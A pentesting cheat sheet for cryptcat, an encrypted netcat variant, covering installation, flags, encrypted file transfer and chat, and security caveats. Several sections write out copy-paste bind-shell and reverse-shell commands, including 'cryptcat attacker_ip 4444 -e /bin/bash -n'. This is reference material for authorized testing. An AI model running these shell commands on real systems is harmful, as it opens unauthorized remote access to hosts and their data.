Cryptcat — Professional Cheat Sheet

One-page reference for `cryptcat` (Netcat + Twofish encryption). Practical commands, flags, examples, and operational notes for penetration testing and secure ad-hoc encrypted channels.

---

1) At-a-glance

- **Tool:** `cryptcat` — network utility like `netcat` with symmetric encryption (Twofish/Blowfish variants depending on build).
- **Primary use cases:** Encrypted file transfer, encrypted shells (bind/reverse), port forwarding, simple encrypted chat, piping data between hosts.
- **Security note:** Provides convenient confidentiality but **not** a full secure transport substitute for SSH (no robust authentication, no forward secrecy, depends on a shared password).

---

2) Installation

```
# Debian/Ubuntu (if available in repo)
sudo apt update && sudo apt install cryptcat

# From source (generic)
git clone https://github.com/sakky/cryptcat.git  # or cryptcat.sourceforge.io mirror
cd cryptcat
./configure && make && sudo make install
```

---

3) Quick reference — common flags

Flag	Meaning
`-l`	Listen mode (server)
`-p <port>`	Port to use (listen or connect)
`-e <program>`	Execute program after connection (e.g., `/bin/sh`)
`-u`	UDP mode
`-n`	Numeric-only (no DNS lookups)
`-k`	Keep listening after disconnect (persistent listener)

Flag	Meaning
`-v`	Verbose
`-w <timeout>`	Wait timeout before exit (seconds)
`-P <password>`	Provide password/non-interactive password (varies by build)
`-c`	Use cipher mode (implementation dependent)

Important: Some builds accept the password interactively; others use `-P` or `-k`. Check `cryptcat --help` / `man cryptcat` for your installed build.

---

4) Basic examples

4.1 Encrypted listener (receive a file)

```
# Server: listen and save incoming data
cryptcat -l -p 4444 -n > /tmp/recv.bin

# Client: send file to server
cryptcat 192.168.1.10 4444 < /tmp/secret.bin
```

4.2 Encrypted interactive chat (two terminals)

```
# A (listener)
cryptcat -l -p 9000 -n
# B (connect)
cryptcat 10.0.0.5 9000
# Type to chat over the encrypted pipe
```

4.3 Encrypted bind shell (listener executes shell when connected)

```
# Target (listener bind shell) — **be careful, this gives shell access**
cryptcat -l -p 5555 -e /bin/bash -n

# Attacker (connects to get shell)
cryptcat target_ip 5555
```

4.4 Encrypted reverse shell (target connects back)

```
# Attacker: listen for incoming reverse shell
cryptcat -l -p 4444 -n
```

```
# Target: connect back to attacker and spawn shell
cryptcat attacker_ip 4444 -e /bin/bash -n
```

4.5 File transfer with password (if build supports -P)

```
# Server (listener)
cryptcat -l -p 2222 -P "s3cr3t" > received.tgz

# Client
cryptcat -P "s3cr3t" 10.0.0.2 2222 < backup.tgz
```

---

5) Useful operational patterns

- **Tunnelling a local port to remote:** combine `-e` with shell redirection or use `socat` for more complex forwarding.
- **Logging sessions:** on listener, redirect output to files and rotate logs.
- **Non-interactive password usage:** if automating, prefer `-P` or supply via stdin where supported — check your cryptcat binary behavior.
- **UDP mode:** use `-u` for UDP datagrams (no connection semantics; useful for covert/fast transfers but unreliable).

---

6) Example payloads / commands cheat-table

Purpose	Server (listen)	Client (connect)
Simple listener	`cryptcat -l -p 4444 -n`	`cryptcat host 4444`
Send file	`cryptcat -l -p 4444 > out.bin`	`cryptcat host 4444 < in.bin`
Encrypted bind shell	`cryptcat -l -p 5555 -e /bin/bash -n`	`cryptcat host 5555`
Reverse shell	`cryptcat -l -p 4444 -n`	`cryptcat attacker_ip 4444 -e /bin/bash -n`
Persistent listener	`cryptcat -l -k -p 4444 -n`	connect normally
UDP transfer	`cryptcat -l -u -p 9000 > recv`	`cryptcat -u host 9000 < send`

---

7) Troubleshooting & caveats

- **Password mismatch:** cryptcat requires the same password on both sides — mismatches produce garbage output or connection failure.
- **Firewall/NAT:** TCP listeners require inbound connectivity; for reverse shells prefer targets to connect out to reachable attacker IP/port.
- **Binary differences:** Different distro/package builds may use different flags for password/cipher. `cryptcat --help` and `man cryptcat` are essential.
- **Not an SSH replacement:** lacks robust authentication, integrity checks, and forward secrecy — use for quick ad-hoc encrypted pipes only.
- **For interactive shells over unstable links:** use `-w` and `-q` (if available) to control timeouts; otherwise consider using `socat` or `ssh -R` / `ssh -L`.

---

8) Operational security tips (PRO)

- Always prefer SSH for remote shells when possible. Use `cryptcat` only for controlled labs or specific red-team scenarios where convenience outweighs security risks.
- Use ephemeral passwords and rotate them for each session.
- Combine `cryptcat` with IP allowlists (firewall rules) and VPNs to limit exposure.
- Monitor logs for unexpected `cryptcat` listeners — it's commonly abused for backdoors.
- When automating, avoid hardcoding passwords in scripts; use protected vaults or ephemeral tokens where possible.

---

9) Alternatives & when to use them

- **SSH** — strong authentication, integrity, and encryption (use for real ops).
- **socat** — more flexible, supports TLS, proxying, and bridging.
- **ncat (Nmap)** — supports SSL/TLS and scripting; good modern alternative to netcat/cryptcat.

---

10) Quick checklist before using in an environment

1. Confirm binary flags for your `cryptcat` (`cryptcat --help` / `man cryptcat`).
2. Choose a strong, unique password for the session.
3. Open only the required port and restrict to specific IPs via firewall.
4. Log the session and set automatic cleanup (rotate/remove listeners after use).
5. Prefer ephemeral network paths and ephemeral passwords.

---

11) One-line examples (copy-paste)

```
# Listen and save file
cryptcat -l -p 4444 -n > save.bin

# Send file
cryptcat 10.0.0.5 4444 < send.bin

# Bind shell (listener)
cryptcat -l -p 2222 -e /bin/bash -n

# Reverse shell (target initiates)
cryptcat attacker_ip 4444 -e /bin/sh -n

# UDP send
cryptcat -u target 9000 < data.bin
```

---

12) Further reading

- `man cryptcat` on your host
- Cryptcat project page / SourceForge
- Kali tools page for `cryptcat`

Notes

This cheat sheet is intended for professional pentesting and lab use. Do not use `cryptcat` on networks or systems you do not own or have explicit permission to test.

End of cheat sheet.